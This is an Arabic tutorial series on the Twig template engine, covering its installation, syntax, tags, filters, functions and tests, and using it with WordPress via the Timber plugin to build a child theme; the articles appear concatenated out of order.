{# output: Hello #}

تهدف المرشحات والدوال الخاصة إلى اضافة مزايا إضافية غير متوفرة مباشرة في بنية تويغ بحيث تلبي الاحتياجات للموقع.

كلمة الختام

لقد تحدثنا في هذا المقال عن تهيئة بيئة العمل في تويغ وعن استخدام الدالة dump في وضع تصحيح الأخطاء ثم انتقلنا إلى كيفية اضافة مرشحات ودوال خاصة بنا إلى تويغ.

بهذا القدر من المفترض بك عزيزي القارئ أن تكون قد وصلت فكرة واضحة عن تويغ بحيث يمكن الانطلاق بقوة في العمل مع تويغ وفي حال رغبتك بالمزيد من التفاصيل يمكنك مراجعة الترجمة العربية للتوثيق الرسمي لتويغ في موسوعة حسوب.

سنتعرف في بداية هذا المقال إلى تطبيقات شائعة يُستخدَم فيها محرك القوالب تويغ، ثم سنشرح طريقة استخدام تويغ في ووردبريس كنوع من التطبيق العملي على تويغ.

تطبيقات شهيرة تستخدم تويغ

يتنوع استخدام تويغ بشكل كبير ولا ينحصر فهو يُستخدم في إطار عمل سيمفوني symfony ويستخدم أيضا في عدد من أنظمة إدارة المحتوى مثل دروبال وبلوت Bolt بالإضافة إلى إمكانية استخدامه في ووردبرس.

سيمفوني

يُعَدّ سيمفوني symfony أحد إطارات العمل المتكاملة التي توفر العديد من المزايا لمصممي تطبيقات الويب المتكاملة حيث يوفر على المبرمج الوقت والجهد يستخدم سيمفوني تويغ لتوليد قوالب الصفحات.

دروبال

دروبال Drupal نظام لإدارة المحتوى، ويمكن أن يعمل أيضًا كنظام للتدوين أو كنظام لبناء تطبيقات الويب متكاملة بسبب خصائص عديدة منها المرونة والتصميم الجيد التي يمكن التحكم بها وتطويرها بسهولة.

في دروبال تم اعتماد تويغ في تصميم القوالب بدءًا من الإصدار الثامن، لمزيد من المعلومات يمكنك الرجوع إلى هذه الصفحة.

بلوت

بلوت Bolt هو نظام إدارة محتوى خفيف وقد اعتمد تويغ لتصميم قوالب الصفحات، الفرق بين بلوت و ووردبرس هو أن بلوت لا يستهلك إلا القليل جدا من موارد النظام يمكنك الرجوع إلى هذه الصفحة لمزيد من المعلومات.

ووردبرس

يعمل ووردبرس على تقديم بيئة سهلة لبناء المدونات ومواقع الويب و يمتاز بغناه بقوالب يمكن من خلالها تعديل مظهره بسهولة ويمكن استخدام تويغ في تصميم وبناء تلك القوالب والتصميمات.

تصميم قوالب فرعية في ووردبريس

نظرا لشعبية ووردبريس فلقد اخترنا أن ننشئ قالبًا فرعيا في ووردبريس كتطبيق عملي على تويغ ولكن ما هو القالب الفرعي؟

القالب والقالب الفرعي في ووردبريس

لنسأل أنفسنا، ما هو القالب في ووردبريس WordPress Theme؟

القالب هو وسيلة لتغيير تخطيط وتصميم موقع الويب الخاص بك، إذ تقوم القوالب بتخصيص مظهر موقعك، بما في ذلك التخطيط والطباعة واللون وعناصر التصميم الأخرى، ويمكن أن يؤدي اختيار المظهر الصحيح إلى جعل موقع الويب الخاص بك أكثر جاذبية وسهولة في الاستخدام وتحسين تفاعل الزوار.

في ووردبريس لست مضطرًا لتبدأ من الصفر عند تصميم أي قالب ووردبريس خاص بك، ويمكنك الانطلاق من قالب ووردبرس موجود مع تعديل بعض الصفحات أو الخصائص به بما يناسبك، وهذه التعديلات والإضافات التي تجرى تدخل ضمن ما يسمى بالقالب الفرعي أو الابن WordPress Child Theme.

عملية بناء وإنشاء قالب فرعي أي إدخال التعديلات المطلوبة على قالب موجود مسبقًا أسهل بالتأكيد من بناء قالب كامل من لا شيء ويبقى الخيار عائدًا لك أي مرحلة تختار.

اتبع الخطوات التالية التي اخترناها لك في هذا المقال لتصميم قالب فرعي خاصة بك:

1. كامل الكود الناتج متوفر للتحميل بشكل مباشر في نهاية المقال
2. من خلال مدير الملفات في خطة الاستضافة الخاصة بك اذهب إلى المجلد الحاوي على ووردبريس ثم انتقل إلى المجلد التالي: /wp-content/themes/
3. ضمن المجلد السابق أنشئ مجلد فرعيًا وسمه باسم twig-child-theme أو أي اسم تريده بشرط أن لا يحوي مسافات فيه
4. في المجلد السابق أنشئ الملفين التاليين: style.css وfunctions.php
5. أضف أية ملفات أخرى تحتاجها: في مثالنا نحتاج ثلاث ملفات إضافية هي: single.php وsingle.twig وmain-file.twig

المحتويات الأساسية لملفات القالب الفرعي:

• الملف style.css:

@charset "UTF-8";
/*
Theme Name:  Twig Child Theme
Template:    twentytwentyone
Version:     1.0
Text Domain: twig-child-theme
*/

• الملف functions.php:

<?php
//functions.php
add_action( 'wp_enqueue_scripts', 'enqueue_parent_styles' );
function enqueue_parent_styles() {
   wp_enqueue_style( 'parent-style', get_template_directory_uri().'/style.css' );
}

ووردبريس و تويغ

لكي نتمكن من استخدام تويغ مع وردبرس يجب تركيب إضافة تسمى Timber تمكنك هذه الإضافة من الاستفادة من الجمع بين وردبريس وتويغ ويمكننا آنذاك كتابة قوالب ووردبريس بواسطة تويع عند تنصيب Timber.

يُعَد Timber نافذة وردبرس باتجاه تويغ، حيث يؤمن طريقةً أسرع وأسهل وأكثر فاعلية لبناء قوالب ووردبريس، إذ يساعدك تيمبر Timber على إنشاء قوالب ووردبريس مخصصة بالكامل بسرعة أكبر مع كود أكثر بساطةً و استخدامًا.

يؤدي هذا إلى إنشاء كود نظيف وواضح بحيث يمكن لملف PHP التركيز على توفير البيانات، بينما يمكن لملف تويغ التركيز طريقة عرض البيانات.

تنصيب تويغ ضمن ووردبريس

بعد إضافة تويغ إلى ووردبريس أمرًا أكثر سهولةً من تنصيب تويغ بطريقة منفصلة، فكل ما عليك فعله الانتقال إلى قسم الإضافات في لوحة تحكم ووردبرس ثم اختيار أضف جديد واختيار Timber عند تنصيب الإضافة Timber فيُنصَّب تويغ تلقائيًا كما تؤمن الإضافة Timber العديد من مزايا ربط تويغ بموقع ووردبريس.

يرجى ملاحظة أن timber هي إضافة ووردبريس عادية مثل أي اضافة أخرى يمكن تركيبها مثل أي إضافة أخرى وهي متوفرة عبر الرابط التالي Timber.

بعد تنصيب الإضافة السابقة لا نحتاج أي أوامر خاصة ولا نحتاج أية إعدادات فتعمل هذه الإضافة مباشرة عند تنصيبها من مدير الإضافات في ووردبرس.

بناء القالب الفرعي

أي قالب ووردبرس مستقل يجب أن يحوي على الأقل ملفين أساسيين:

1. ملف style.css
2. ملف index.php

أما في القوالب الفرعية، فيمكن الاستغناء عن الملف الثاني حيث يُستخدم الملف index.php الموجود في القالب الأب نفسه.

عندما يظهر ووردبريس أي صفحة فإنه يبحث في ملفات القالب عن أنسب ملف لعرض تلك الصفحة وفق مبدأ أولية الملفات، يُعَدّ الملف index.php الخيار الأخير حيث يتم اختياره فقط في حال عدم توفر أي ملف أكثر تحديدا وأكثر ملائمةً للمقال.

قد يحتوي قالب ووردبريس على ملف مخصص لعرض الصفحات الثابتة وآخر لعرض المقالات وآخر لعرض الأرشيف مثلا عن الرغبة بعرض مقال ما فإن ووردبرس يبحث عن ملف single.php هو يعني مقال مفرد، اختصار للاسم single-post، فإذا وجده استخدمه لعرض المقال أما عندما لا يجده فإنه يبحث عن ملف singular.php وهو يعني مقال أو صفحة ثابتة فإذا وجد الملف singular.php فإنه يستخدمه، أخيرا في حال لم يجد أي من الملفين السابقين فإن ووردبرس يستخدم الخيار الأخير وهو index.php.

لقد اصطلح ووردبريس ذلك التسلسل وتلك الأسماء في بنيته الداخلية ويمكن مراجعة ملفات قوالب ووردبريس عبر الرابط التالي WordPress Post Template Files.

يسمى المبدأ السابق مبدأ أولوية الملفات في قوالب ووردبرس وبذات الطريقة يمكن الحديث أن أي صفحة في قالب ووردبرس مثلا عند الرغبة بعرض المقالات الموجودة في دليل ما فإن ووردبريس يبحث عن ملف اسمه category.php، فإن وجده استخدمه لعرض المقالات وإن لم يجده يبحث عن ملف اسمه archive.php فإن وجده استخدمه في عرض المقالات وإن لم يستخدمه فإنه يستخدم الملف index.php.

لمعرفة تفاصيل أكثر عن ملفات القالب في ووردبرس يمكن زيارة الرابط التالي Template Files Section.

يحوي ووردبرس على متغير عام اسمه posts يحوي جميع المقالات الموجود في الدليل أو الأرشيف الحالي ويمكن استخدامه في حلقات for.

لسنا مضطرين لإنشاء ملفًا خاصًا بنا لعرض الأرشيف حيث أن غياب الملف في القالب الفرعي يخبر ووردبرس أن عليه أن يستخدم الملف الأصلي في القالب الأب، والهدف الأساسي من القالب الفرعي الخاص بنا هو تعديل طريقة إظهار المقالات الفرعية في قالب محددة لذا سوف يكون عملنا أساسًا على الملف single.php وعدد محدود من الملفات الأخرى.

لا يهدف استخدام تويغ إلى الاستغناء كليًا عن PHP، بل يهدف إلى جعل استخدمها في إعداد البيانات وإعطاء الأوامر لمحرك القالب بإظهار البيانات لذا حتى عند استخدام تويغ لابد كتابة عدد محدود من تعليمات PHP لكي نقوم بإظهار قالب تويغ، مثلا أن اكتب الأسطر التالية في ملف single.php الخاص بالقالب الفرعي:

<?php
/**
 * file name: single.php
 * The Template for displaying all single posts 
 */
$context         = Timber::context();
$timber_post     = Timber::get_post();
$context['post'] = $timber_post;
Timber::render( 'single.twig', $context );

أما ملف تويغ single.twig فسوف يحوي تعليمات تويغ التي نريدها لإظهار القالب، وفي مثال على ذلك، لدينا الآتي:

{# single.twig #}
<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="description" content="{{ site.description }}">
    <link rel="stylesheet" href="{{ site.theme.link }}/style.css" type="text/css" />
</head>
<body>
    <article>
        <h1>{{ post.title }}</h1>
        <img src="{{ post.thumbnail.src }}">
        <div class="article-body"> {{post.content}} </div>
    </article>
</body>
</html>

في السطر الأول تمت كتابة ملاحظة مع اسم الملف وهي لا تظهر عند إخراج صفحة ويب بل هي مجرد ملاحظة لنا. في السطر التالي من القالب:

<meta name="description" content="{{ site.description }}">

تم الطلب من محرك القالب أن يخرج قيمة وصف الموقع حيث لدينا متغير اسم site وهذا المتغير يحتوي على عدة معلومات فرعية أو خصائص منها description ومن أجل وصف الموقع قمنا بكتابة {{ site.description }}.

في السطر السابع تم استخدام عبارة مشابهة لإخراج المسار الكامل للقالب الذي نعمل به وربط ملف css بالموقع، وقد تم استخدام الشيفرة {{ post.title }} لإظهار عنوان المقال وبطريقة مشابهة تم إظهار صورة المقال ومحتوياته.

قد لا يبدو الأمر بسيطًا ولكنه في الواقع أبسط من استخدام PHP لتحقيق ذات الأهداف كما أنه يحقق مرونة أكبر ويؤمن فصل جيد لملف إظهار الصفحة عن كود تهيئة البيانات مما يعطي سرعة أكبر في الإنتاجية ويسمح لنا باستخدام محررات HTML لتنسيق ملف تويغ بالشكل الذي نريده.

الأمر لم ينته لقد بدأنا للتو هناك الكثير يمكن عمله والكثير علينا تعلمه قبل إنشاء قالب ووردبريس بواسطة تويغ.

الكتل ووراثة القوالب في تويغ

أحد الأمور الرائعة في تويغ هي الكتل Blocks وهي تمكننا من تعريف كتلة ما من القالب ثم إعادة استخدامها في أي مكان نريد سواء في ذات القالب أو في أي قالب مشتق من ذلك القالب.

لتعريف كتلة ما نقوم باستخدام الصيغة {% %} التي تخبر محرك القالب أن عليه أن يفعل شيئًا ما وفي حالتنا هو تعريف كتلة محددة. تبدأ كل كتلة بعبارة من الشكل {% block name %} حيث نضع اسم الكتلة بعد الكلمة block، وتنتهي كل كتلة بعبارة {% endblock %}، وتخزن التعليمات داخل الكتلة واستدعائها عند الحاجة.

تعمل الكتل ووراثة القوالب بشكل متناغم في تويغ فنحن نقوم عادة بتعريف الكتل في القالب الأب ثم نعدل محتويات الكتلة في القوالب المشتقة منه ويفدينا ذلك بشكل كبير في تقسيم الملفات مما يسهل العمل.

فمثلا يُستخدم قالب ووردبريس WordPress theme لعرض مجموعة مختلفة من الصفحات والمقالات والأرشيف لكن لها جميعا بنية متشابه مثل ترويسة الموقع وشريط القوائم والشريط الجانبي وغيرها، نقوم بتعريف البنية الأساسية في قالب تويغ رئيسي ثم ننشئ قوالب تويغ مشتقة منه لكل نوع فرعي.

لنطبق ذلك، يمكن تقسيم ملف تويغ الذي ذُكِر بالفقرة السابقة إلى قسمين: الأول الملف الرئيسي ويحوي البنية الأساسية للملفات مع وضع تعريف للكتل في مكانها الصحيح:

{# main-file.twig #}
<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="description" content="{{ site.description }}">
    <link rel="stylesheet" href="{{ site.theme.link }}/style.css" type="text/css" />
</head>
<body>
    {% block content %}{% endblock %}
</body>
</html>

أما الملف الفرعي الثاني فهو يحوي الإشارة إلى الملف الرئيسي مع تعريف محتويات الكتل فيه:

{# single.twig #}
{% extends "main-file.twig" %}
{% block content %}
<article>
   <h1>{{ post.title }}</h1>
   <img src="{{ post.thumbnail.src }}" alt="{{ post.thumbnail.alt }}" > 
   <div class="article-body">{{ post.content }}</div>
</article>
{% endblock %}

يفيد هذا التقسيم في اختصار الكتابة كثيرًا، حيث أن ملف تويغ الرئيسي يبقى نفسه سواءً كنا نريد عرض مقال أم أرشيف أم صفحة البحث أو غيرها لكن كتلة المحتويات هي التي تتغير ويكون ملف تويغ المخصص لعرض المقال مختلفًا عن المخصص لعرض أرشيف المقالات.

بطريقة مشابهة يمكننا أيضا تعديل الملف achive.php أو أي قسم من قالب ووردبريس الفرعي، لاستخدام القالب الفرعي الذي صممناه ننتقل إلى لوحة تحكم موقع ووردبرس ثم ننتقل إلى قسم المظهر ونختار علامة التبويب قوالب، وإن كنت قد اتبعت الخطوات أعلاه ستجد اسم القالب الفرعي Twig Child Theme في قائمة القوالب المتوفرة لديك ويمكنك النقر على تفعيل القالب أو اختيار معانية له.

بهذه الطريقة نكون قد صممنا قالبًا فرعيًا لـ ووردبريس باستخدام تويغ لكن الأمر لم ينتهي هنا بل هذه مجرد بداية يمكنك الانطلاق منها نحو تصميم مميز وفريد وبجودة عالية محققًا لمتطلباتك الخاصة.

لمزيد من المعلومات عن الكتل والوراثة في تويغ يمكن زيارة قسم وراثة القوالب في Twig في موسوعة حسوب.

الخلاصة

لقد تحدثنا في هذا المقال عن تطبيقات شهيرة تستخدم تويغ ثم تحدثنا عن استخدام تويغ مع ووردبرس من خلال الإضافة timber، ثم بدأنا بالتطبيق العملي لتصميم قالب فرعي في ووردبريس باستخدام تويغ كنوع من التطبيق العملي على ما تعلمناه.

في المقال القادم سوف نلقي نظرةً على بنية تويغ وطريقة تخصيص بيئة العمل الخاصة به.

twig-child-theme-main.zip

يقدم تويغ تقنيات أكثر بكثير مما تم شرحه في المقالين السابقين، مدخل إلى محرك القوالب تويغ Twig، وانطلاقة سريعة مع محرك القوالب تويغ. إذ يتألف القالب في تويغ من أربع فئات أساسية هي: الوسوم والمرشحات والدوال والاختبارات، وهو ما سنتحدث عنه في هذا المقال.

الوسوم Tags في تويغ

الوسوم في Twig هي الأوامر التي تستخدم في صيغة افعل شيئا ما

{%    %}

وهي بنيات تحكم، تتحكم في طريقة عمل القوالب وسيرها، فيعد كل من if و for التي تحدثنا عنها في المقال السابق انطلاقة سريعة مع محرك القوالب تويغ، نوعًا من الوسوم في تويغ ولكنها ليست الوحيدة المتاحة هناك حوالي 20 وسمًا مختلفًا في تويغ يمكنك الاطلاع عليها في الرابط التالي ولن نتناول كل تلك الوسوم فالهدف من هذه المقالات هو تمكين القارئ من المضي قدمًا في تويغ وليس الإحاطة بكل ما فيه من تقنيات.

نذكر أن كل وسم في تويغ يحتاج إلى كتلة إغلاق للوسم وتتكون وتكون كتلة الإغلاق:

{% endtag %}

حيث تتبع end باسم الوسم دون فراغ. مثلا يحتاج الوسم if إلى كتلة الإغلاق {% endif %} ويحتاج الوسم for إلى كتلة الإغلاق {% endfor %} وهكذا.

الوسم set والمتغيرات الداخلية في القالب

يمكننا أن نعرف متغير ما داخل القالب نفسه باستخدام الوسم set مثلا في السطر التالي تم تعريف المتغير student، وتم إسناد القيمة ziad له:

{% set student = 'ziad' %}
    Hello {{ student }}
{# output: Hello ziad #}

يمكن للمتغير أن يكون رقما أو نصا أو مصفوفة، مثل:

{% set age = 20 %}
{% set colors = ['red', yellow'] %}

هناك طريقة ثانية في تويغ لإسناد قيمة للمتغير وهي على النحو التالي:

{% set student %}
    Ziad
{% endset %}

لاحظ في الطريقة الأولى أننا تضع علامة المساواة بعد اسم المتغير ثم نضع بعدها قيمة المتغير أما في الطريقة الثانية فإننا نغلق تعليمة تعريف المتغير ثم نكتب قيمته ثم نضع عبارة {% endset %}.

الوسم include

يُستخدَم الوسم include لإدراج محتويات قالب آخر ضمن القالب الحالي مما يتيح لنا تقسيم الملفات أو إعادة استخدام أجزاء منها، فيمكن أيضا إدراج محتويات أي ملف نصي عادي أيضًا وليس فقط ملف تويغ.

لنفرض مثلًا أننا نريد أن نكتب صفحات ويب ونريد اختصار الجهد بتفادي كتابة ترويسة html في كل صفحة عندها ننشئ ملف نسميه header.twig:

{# file name: header.twig #}
<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <title>{{ title }}</title>
</head>
<body>
<h1>{{ title }}</h1>

بعد ذلك يمكننا كتابة أي صفحة نريدها على النحو التالي:

{# كتابة صفحة بطريقة سريعة #}
{% include ‘header.twig’ %}
My 1st article
</body>
</html>

يمكننا أيضا أن نمرر متغير إلى ملف الترويسة بحيث نحدد عنوان صفحة ويب:

{# تمرير متغير إلى الملف المطلوب إدراجه #}
{% include ‘header.twig’ with {'title': 'My 1st page'} %}
My 1st article
</body>
</html>

يمكننا أيضا تخزين محتويات الملف في متغير ما، لنفرض أننا قمنا بكتابة وصف عام للشركة في ملف نصي ثم نريد أن نستخدم هذا الوصف كقيمة لمتغير داخلي في قالب تويغ:

{# خزن ملف نصي في متغير #}
{% set description %}
    {% include ‘description.txt’ %}
{% endset %}
{# or #}
{% set description = include('description.txt') %}

لمزيد من المعلومات عن الوسوم في تويغ يمكن زيارة صفحة الوسوم على موسوعة حسوب.

ما هي المرشحات في تويغ

تقوم المرشحات في تويغ بمعالجة البيانات قبل عرضها أو قبل إسنادها إلى متغير داخلي أما البيانات نفسها فلا تتأثر محتوياتها وتبقى كما هي، وتستخدم في صيغة أظهر شيء ما {{ }} حيث نضع بعد اسم المتغير | ثم نكتب المرشح المطلوب استخدامه، انظر إلى المثال التالي:

{% set student = 'ziad' %}
Welcome {{ student|upper }}
Hello {{ student }}
{# outputs:
   Welcome ZIAD
   Hello ziad #}

المثال السابق يُستخدم المرشح upper لجعل الأحرف كبيرة قبل إظهار قيمة المتغير name، مع ملاحظة أن القيم المخزنة في المتغير لم تتغير بل بقيت كما هي عندما تم استدعائها مرة ثانية دون المرشح السابق.

يمكننا أيضا استخدام الوسم apply للتعامل مع المرشحات على النحو التالي:

{% apply upper %}
    Hello ziad
{% endapply %}
{# output: HELLO ZIAD #}

وباختصار عندما نستدعي أي مرشح في تويغ فإنه يمرر قيمة المتغير ويستخدمه كمدخل لعملية محددة ثم يظهر لنا نتيجة تلك العملية.

المرشحات upper وlower وcapitalizes

لقد شاهدنا أن المرشح upper يقوم بتحويل النص إلى الحروف الكبيرة بينما المرشح lower يعطي النص مكتوبًا بالحروف الصغيرة أما capitalizes فهو يحول أول حرف من الجملة فقط إلى حرف كبير:

{{ 'my first car'|capitalize }}
{# outputs 'My first car' #}

مرشح التنسيق Format

يقوم المرشح format بوضع نص محدد بدلا عن نائب النص s% انظر مثلًا:

{{ "Hello student %s"|format('Ziad') }}
{# output: Hello student Ziad #}

مرشح هروب الأمان Escape

يعد من أهم المرشحات حيث يستخدم للتخلص من أية وسوم قد تسبب مشاكل في الإظهار ويفضل استخدامه دوما مع المتغيرات النصية. يمكن اختصار استخدام المرشح escape إلى e حيث يمكن كتابته على النحو التالي:

{# escape for Html safty #}
<div>{{ description|e }}</div>

كما يمكن كتابته على النحو التالي أيضًا:

{# escape for Html safty #}
<div>{{ description|escape }}</div>

يمكن تمرير وسيط للمرشح السابق لتحديد نوع يناسب المكان الذي سوف يظهر به المتغير مثال:

{# escape for js safety #}
<script>
    function getDescription() {
      return {{ description|e('js') }};
    }
</script>

{# escape for css safety #}
<style>
    {{ mystyles|e('css') }}
</style>

لمزيد من المعلومات عن هذا المرشح وبقية المرشحات، يمكن زيارة توثيق المرشحات في موسوعة حسوب.

الدوال في تويغ

الدوال في تويغ هي مجموعة من التعليمات البرمجية التي تؤدي مهمة ما ينتج عنها قيمة. يمكن استدعاء الدالة وإعادة استخدامها عدة مرات.

نستدعي الدوال عن طريق كتابة أسمائها متبوعة بأقواس، ويمكن أن نمرر لها وسيطًا واحدًا أو أكثر داخل تلك الأقواس وذلك بهدف تمرير المعلومات إلى الدالة.

كمثال الدالة range تعيد مصفوفة تحتوي على أعداد صحيحة محصورة بين رقمين:

{% for i in range(0, 3) %}
    {{ i }},
{% endfor %}
{# outputs 0, 1, 2, 3, #}

عند استدعاء الدالة السابقة نقوم بتمرير ثلاث وسطاء لها، الوسيط الأول هو بداية المجال والثاني نهاية المجال وأما الوسيط الثالث فهو الخطوة أو الفارق بين رقمين في المجال وهو اختياري.

الوسم والدالة block

في تويغ يمكن أن يكون لدينا دالة لها ذات الاسم المستخدم للوسم، فالكلمة block في تويغ قد تشير إلى الوسم block، كما قد تشير إلى الدالة block ويمكن التمييز بين الحالتين بسهولة عبر المثال التالي:

<html>
<head>
<title>
{% block title %}
    Hello Twig
{% endblock %}
</title>
</head>
<body>
<h1>{{ block('title') }}</h1>
</body>
</html>

نلاحظ أن الوسم يكون ضمن صيغة افعل شيئا ما {% %} ويستخدم لتعريف الكتلة وتحديد محتوياتها بينما الدالة تكون ضمن صيغة أظهر شيئا ما {{ }} يتم اتباعها بقوسين يوجد بينهما وسيط يمرر للدالة حيث تستخدم الدالة block لإظهار محتويات كتلة سبق أن تم تعريفها بالوسم block.

المرشح والدالة date

يقوم المرشح date بتغير تنسيق التاريخ عند إظهار قيمة متغير ما حسب الصيغة المعطاة له

{{ birth|date("m/d/Y") }

أما الدالة date فإنها تعيد التاريخ الحالي عند استدعائها بدون وسطاء:

{{ date() }}
{# تظهر التاريخ الحالي #}

يمكن أن تمرر وسيط للدالة date ويمكن لقيمة الوسيط أن تكون تعبير نصي عن التاريخ مثلا النص "2022/01/01" يحول إلى التاريخ المقابل له كما يمكن أن يكون فرق بالتاريخ عن التاريخ الحالي:

{{ date('2022/01/01') }}
{# تعيد التاريخ المحدد 2022/01/01 #}
{{ date('-2days') }}
{# تعيد التاريخ الحالي مطروح منه يومين #}

يمكن أن نمرر لها وسيطين حيث يحوي الوسيط الثاني على المنطقة الزمنية التي سوف يكون التاريخ فيها:

{{ date('-2days', 'Europe/Paris') }}

يمكن موازنة التواريخ المعادة بواسط تعبير شرطي:

{% if post.date > date('-30days') %}
    This is a new post
{% endif %}

الفرق بين المرشح والدالة

تتصف المرشحات في تويغ بالخصائص التالية:

• المرشحات مخصصة لمعالجة البيانات
• المرشح يعيد قيمة دوما
• القيمة التي يعيدها المرشح تكون نص دومًا
• يأخذ المرشح وسيط واحد أو أكثر
• يكتب الوسيط الأول قبل المرشح ويوضع بينهما | مثال:

{{ student|upper }}

• عندما يحتاج إلى وسيط واحد لا يتم إتباعها بأقواس
• عندما يحتاج أكثر من وسيط يتم اضافة قوسين بعد اسم المرشح مع وضع الوسيط بينهما

{{ description|escape('html') }}

يرجى ملاحظة أن الوسيط الأول هو المتغير نفسه الذي يأتي قبل علامة | أما ما بين ' ' فهو الوسيط الثاني.

أما الدوال، فتتصف بالخصائص التالية:

• الدوال مخصصة لإعادة قيمة غير مرتبطة بالبيانات عادة
• يمكن أن تكون القيمة تعيدها الدالة نصا أو رقما أو تاريخا أو مصفوفة
• الدوال في تويغ تعيد قيمة دوما وهذا يختلف عن تعريف الدوال في لغات البرمجة
• يمكن للدوال أن لا تأخذ أي وسيط ويمكن أن تأخذ وسيط واحد أو أكثر
• حتى عندما لا تأخذ الدالة أي وسيط فإنها تتبع بأقواس

{{ date() }}

• عندما تحتاج الدالة إلى وسيط واحد أكثر فإنها تمرر إليها بين الأقواس:

{% set list = range(1, 6) %}

الاختبارات في تويغ

الاختبارات في تويغ هي عبارة عن عوامل تختبر قيمة متغير ما وتستخدم على النحو التالي:

{% if line is odd %}
.......
{% endif %}

حيث تستخدم مع عبارة is و تتحق من كون المتغير يحقق شرط محدد والاختبارات المعرفة مسبقا في تويغ هي:

defined, divisible by, even, iterable, odd, same as

لمزيد من المعلومات عن الاختبارات يمكن الرجوع إلى صفحة الاختبارات في موسوعة حسوب.

ختامًا

لقد تحدثنا في هذا المقال عن مكونات تويغ من وسوم ومرشحات ودوال واختبارات وهي المكونات الأساسية التي يقوم عليها القالب، وفي المقال القادم سوف نقوم بالتطبيق العملي على ما تعلمناه حيث نتعلم إنشاء قالب فرعي لووردبرس باستخدام تويغ.

سوف نتحدث في هذا المقال عن طريقة تثبيت تويغ وعن الصيغ الثلاث المستخدمة في بناء قوالب تويغ بالاضافة إلى عدد من المفاهيم الأساسية

متطلبات تويغ للعمل

يمكن استعمال بيئة عمل سحابية على الويب أو بيئة عمل محلية على الحاسوب مباشرة:

• على استضافة ويب: تحتاج إلى خطة استضافة تدعم تشغيل PHP وأن يكون الإصدار المركب فيها 7.3 أو إصدار أعلى تقريبا جميع الاستضافات تدعم ذلك بما في الاستضافات المجانية.
• على الحاسوب المحلي: إن كنت سوف تستخدم استضافة فلست بحاجة لتركيب أي شيء على حاسوب محلي لكن يمكن أن تجعل من كمبيوترك المحلي مخدم ويب وتركيب عليه تويغ وفي هذه الحالة تحتاج إلى خادم ويب يدعم PHP مثلًا XAMPP لمزيد من المعلومات يمكن الرجوع إلى المقال التالي.

تثبيت تويغ

يتوفر خياران لتثبيت تويغ وهو إما التثبيت المباشر من خلال تنزيله وتركيبه يدويًا أو من خلال كومبوزر composer وسنشرح كلا الطريقتين تاليًا.

التثبيت المباشر

1. تحميل الإصدار الأخير من تويغ وذلك من خلال الرابط التالي أو من خلال GitHub
2. فك المجلد المضغوط السابق على الحاسوب المحلي ثم افتح المجلد الناتج وهو Twig-3.x في حالتي الآن أثناء كتابة المقال
3. في داخل المجلد السابق يوجد مجلد اسمه src أعد تسميته إلى Twig ثم قم برفعه إلى المجلد العام www أو public_html في الاستضافة الخاصة بك.
4. في المجلد public_html لموقعك أنشئ ملفًا باسم index.php وأضف له النص التالي

ini_set('display_errors',1); # comment if you do not need debugging
spl_autoload_register(function ($classname) {
    $dir = '.';
    $filename = $dir . str_replace('\\', '/', $classname) .'.php';
    if (file_exists($filename)) require_once $filename;
});
require_once '\Twig\Loader\FilesystemLoader.php';

كل ما سبق من خطوات يمكن اختصارها في حال التركيب من خلال composer

التثبيت بواسطة composer

ثبت Composer وشغل الأمر التالي في الطرفية من أجل الحصول على الإصدار الأخير:

composer require "twig/twig"

البدء باستخدام تويغ

أصبح تويغ جاهز الآن ويمكنك تجريبه بالشكل التالي، أضف السطور التالية على ملف index.php الذي أنشأته عند تركيب تويغ بدون استخدام composer أو على ملف index.php فارغ في حال استخدام composer:

$loader = new \Twig\Loader\FilesystemLoader('.');
$twig = new \Twig\Environment($loader);
echo $twig->render('template1.twig', [‘name’ => 'سامر']);

في ذات المجلد public_html أنشئ ملفًا آخر باسم template1.twig واكتب العبارة التالية فيه:

مرحبا بالطالب المجد {{ name }}

لا بد أنك عزيزي القارئ تود رؤية مثال عن قوالب تويغ وتتساءل كيف يمكن أن ننطلق باستخدام تويغ في الواقع إن نموذج بسيط للقالب قد تم إيراده بالفعل في أعلى المقال دون أن نحتاج أن نقدم شرح له:

مرحبا بالطالب المجد {{ name }}

لاحظ أن الأقواس المربعة قد استخدمت للتعبير عن وجود متغير في القالب فقراءة قوالب تويغ سهلة للغاية ويمكن فهم الكثير من قوالب تويغ بسهولة. في الواقع ليس من الضروري أن تعلم كل شيء عن تويغ قبل الانطلاق باستخدامه يكفي في البداية أن تتعلم الأساسيات فقط ثم توسع مدى معرفتك بالتدريج بعد ذلك والهدف من هذا المقال هل جعلك تمتلك تلك الأساسيات التي تمكنك من الانطلاق والبدء باستخدام تويغ.

بنية قالب تويغ وصيغ التعبيرات فيه

لفهم تويغ يتوجب علينا معرفة دلالة ثلاث صيغ فقط هي {{ }}، {% %}، {# #} سنشرحها بالترتيب:

1- صيغة إخراج المتغيرات وإظهار النتائج

الصيغة الأولى المهمة من صيغ Twig التي عليك تعلمها هي:

{{ }}

تستخدم هذه الصيغة لإظهار نتيجة ما للمستخدم مثلا قيمة متغير أو ناتج دالة ما.

المتغيرات في القالب هي أي شيء تريد تريد تبديله حسب إدخالات المستخدم أو حسب البيانات المقدمة للقالب يمكن أن يكون عنوان المقال أو اسم المستخدم أو رقم هاتفه أو أي شيء آخر.

لإخراج أي متغير في القالب يكفي أن يتم وضع اسم المتغير بين قوسين مقوسين على النحو التالي:

{{ name }}
{{ foo.bar }}

انتبه من المثال أنه يمكن استخدام النقطة (.) للوصول إلى عناصر المصفوفة أو خصائص كائن ما.

لمعرفة المزيد عن المتغيرات في تويغ يمكن زيارة قسم المتغيرات من صفحة محرك تويغ لمصممي القوالب في موسوعة حسوب.

2- صيغة التعليقات

من المهم في كثير من الأحيان أن نكتب ملاحظة لكننا لا نريدها أن تظهر في المستند المنسق ولتحقيق ذلك يكفي أن نكتب تلك الملاحظة أو التعليق بالصياغة التالية:

{# ملاحظة #}

لمعرفة المزيد عن الملاحظات في تويغ يمكن زيارة قسم التعليقات من صفحة محرك تويغ لمصممي القوالب في موسوعة حسوب.

3- صيغة افعل شيئا ما

يستخدم التركيب التالي:

`{% ...... %}

للطلب من محرك القالب القيام بشيء محدد مثل التحقق من شرط ما أو تنفيذ تكرار ما. لا يظهر التركيب السابق نتائج للمستخدم لفم التركيب السابق بشكل جيد سوف نأخذ مثالين هما if و for.

الشروط والحالات الشرطية

